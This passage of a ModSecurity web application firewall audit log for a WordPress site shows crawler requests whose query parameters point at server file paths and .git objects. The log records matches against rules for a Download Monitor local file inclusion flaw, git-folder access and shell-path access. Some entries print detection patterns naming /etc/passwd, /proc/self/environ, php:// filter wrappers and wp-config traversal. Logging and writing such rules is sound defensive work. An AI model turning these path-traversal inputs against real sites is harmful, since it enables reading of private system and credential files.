^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":244,"p2":4395,"p3":0,"p4":0,"p5":295,"sr":129,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:00:03.106335 +0100","transaction_id":"abNvoqRcIf1QVcQGR0mUlQAAANM","remote_address":"65.109.118.212","remote_port":43650,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"bd32db72c2973d8cc1b82eada6961124","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"852235","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"bd32db72c2973d8cc1b82eada6961124","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":243,"p2":4492,"p3":0,"p4":0,"p5":304,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:00:34.822888 +0100","transaction_id":"abNvwqRcIf1QVcQGR0mU1AAAAMk","remote_address":"57.141.20.6","remote_port":35962,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/hr/LC_MESSAGES/iso_3166-3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"7dbe4774f4fda5e9fd709d7f68a8960a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5603997"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7dbe4774f4fda5e9fd709d7f68a8960a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/hr/LC_MESSAGES/iso_3166-3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":185,"p2":3564,"p3":0,"p4":0,"p5":239,"sr":91,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:01:43.310560 +0100","transaction_id":"abNwB8S9L92-qvnlzdy0kwAAAI0","remote_address":"57.141.20.44","remote_port":41682,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php7.0/include/php/main/php_globals.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"95c0206b8043339663da83352d2d263a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"918505"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"95c0206b8043339663da83352d2d263a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.0/include/php/main/php_globals.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":210,"p2":5326,"p3":0,"p4":0,"p5":294,"sr":118,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:01:49.057178 +0100","transaction_id":"abNwDMZN6QjCL5T2QIU5YgAAAAo","remote_address":"57.141.20.44","remote_port":41622,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0f/d7474aa04d3d2e33ff087dacdb4d508f029cfd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"23887bf96cbf6a21854c9001b750a311","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3146271"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"23887bf96cbf6a21854c9001b750a311","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0f/d7474aa04d3d2e33ff087dacdb4d508f029cfd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":193,"p2":3872,"p3":0,"p4":0,"p5":241,"sr":101,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:01:53.555518 +0100","transaction_id":"abNwER2Dz2AA0AEEU8raTAAAAE0","remote_address":"65.109.118.212","remote_port":44958,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=/htdocs/sivaco/vendor/bin/carbon HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"77fb2dd5d0558107eb28a481fc70feda","X-L-Admin-Auth":"0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2884069","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"77fb2dd5d0558107eb28a481fc70feda","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abNwER2Dz2AA0AEEU8raTAAAAE0\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":274,"p2":3699,"p3":0,"p4":0,"p5":303,"sr":151,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:01:55.726903 +0100","transaction_id":"abNwEx2Dz2AA0AEEU8raVAAAAFM","remote_address":"65.109.118.212","remote_port":48902,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=/htdocs/sivaco/vendor/bin/carbon.bat HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"014135ecd78ae50f7d60f7b411d63703","X-L-Admin-Auth":"0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"328369","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"014135ecd78ae50f7d60f7b411d63703","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abNwEx2Dz2AA0AEEU8raVAAAAFM\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":181,"p2":2374,"p3":0,"p4":0,"p5":212,"sr":101,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:01:57.512027 +0100","transaction_id":"abNwFR2Dz2AA0AEEU8raWwAAAFM","remote_address":"65.109.118.212","remote_port":48902,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=/htdocs/sivaco/vendor/bin/patch-type-declarations HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"049b7ae3c30c6f3dae4f8dff9a310f30","X-L-Admin-Auth":"0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"983623","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"049b7ae3c30c6f3dae4f8dff9a310f30","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abNwFR2Dz2AA0AEEU8raWwAAAFM\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":186,"p2":2249,"p3":0,"p4":0,"p5":202,"sr":90,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:01:59.549835 +0100","transaction_id":"abNwF8S9L92-qvnlzdy0qgAAAJI","remote_address":"65.109.118.212","remote_port":52428,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=/htdocs/sivaco/vendor/bin/patch-type-declarations.bat HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"dcf8bd25315dc64e536dd1a2535de566","X-L-Admin-Auth":"0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1344497","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"dcf8bd25315dc64e536dd1a2535de566","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abNwF8S9L92-qvnlzdy0qgAAAJI\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":181,"p2":2355,"p3":0,"p4":0,"p5":287,"sr":97,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:02:02.097682 +0100","transaction_id":"abNwGcZN6QjCL5T2QIU5fgAAAAw","remote_address":"65.109.118.212","remote_port":44954,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","X-Anubis-Action":"ALLOW","X-Anubis-Rule":"bot/robots-txt","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Forwarded-Proto":"https","X-Http-Fingerprint-Ja4h":"ge11nn110000_ec661f0dd5a0_000000000000_000000000000","X-L-Admin-Auth":"0","X-Real-Ip":"65.109.118.212","X-Request-Id":"3d1946500a35f1cae35df6e77f372d36","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4195006","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"3d1946500a35f1cae35df6e77f372d36","X-Anubis-Action":"ALLOW","X-Anubis-Rule":"bot/robots-txt","X-Anubis-Status":"","Content-Length":"120","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":189,"p2":3207,"p3":0,"p4":0,"p5":216,"sr":117,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:02:27.773105 +0100","transaction_id":"abNwM8ZN6QjCL5T2QIU5pgAAAAw","remote_address":"57.141.20.12","remote_port":44954,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/poppler/cMap/Adobe-GB1/UniGB-UTF16-V HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"32079115c022293b013e91470f21bb3c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1245620"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"32079115c022293b013e91470f21bb3c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/poppler/cMap/Adobe-GB1/UniGB-UTF16-V||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":193,"p2":4346,"p3":0,"p4":0,"p5":224,"sr":96,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:02:51.677430 +0100","transaction_id":"abNwS-pA8xvhc8hKmegtwAAAAVU","remote_address":"57.141.20.7","remote_port":41602,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/a9/24e9b0178847d167a891e6a7d952e5a5015544 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"333cb20398ded950cd3480de57aab0ec","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3146434"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"333cb20398ded950cd3480de57aab0ec","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/a9/24e9b0178847d167a891e6a7d952e5a5015544||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":313,"p2":5669,"p3":0,"p4":0,"p5":337,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:03:19.569130 +0100","transaction_id":"abNwZupA8xvhc8hKmeguDgAAAU0","remote_address":"57.141.20.22","remote_port":53394,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/fr/LC_MESSAGES/glib20.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"557342bd1fc0a12f26b4921d0fd0298f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2588948"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"557342bd1fc0a12f26b4921d0fd0298f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file 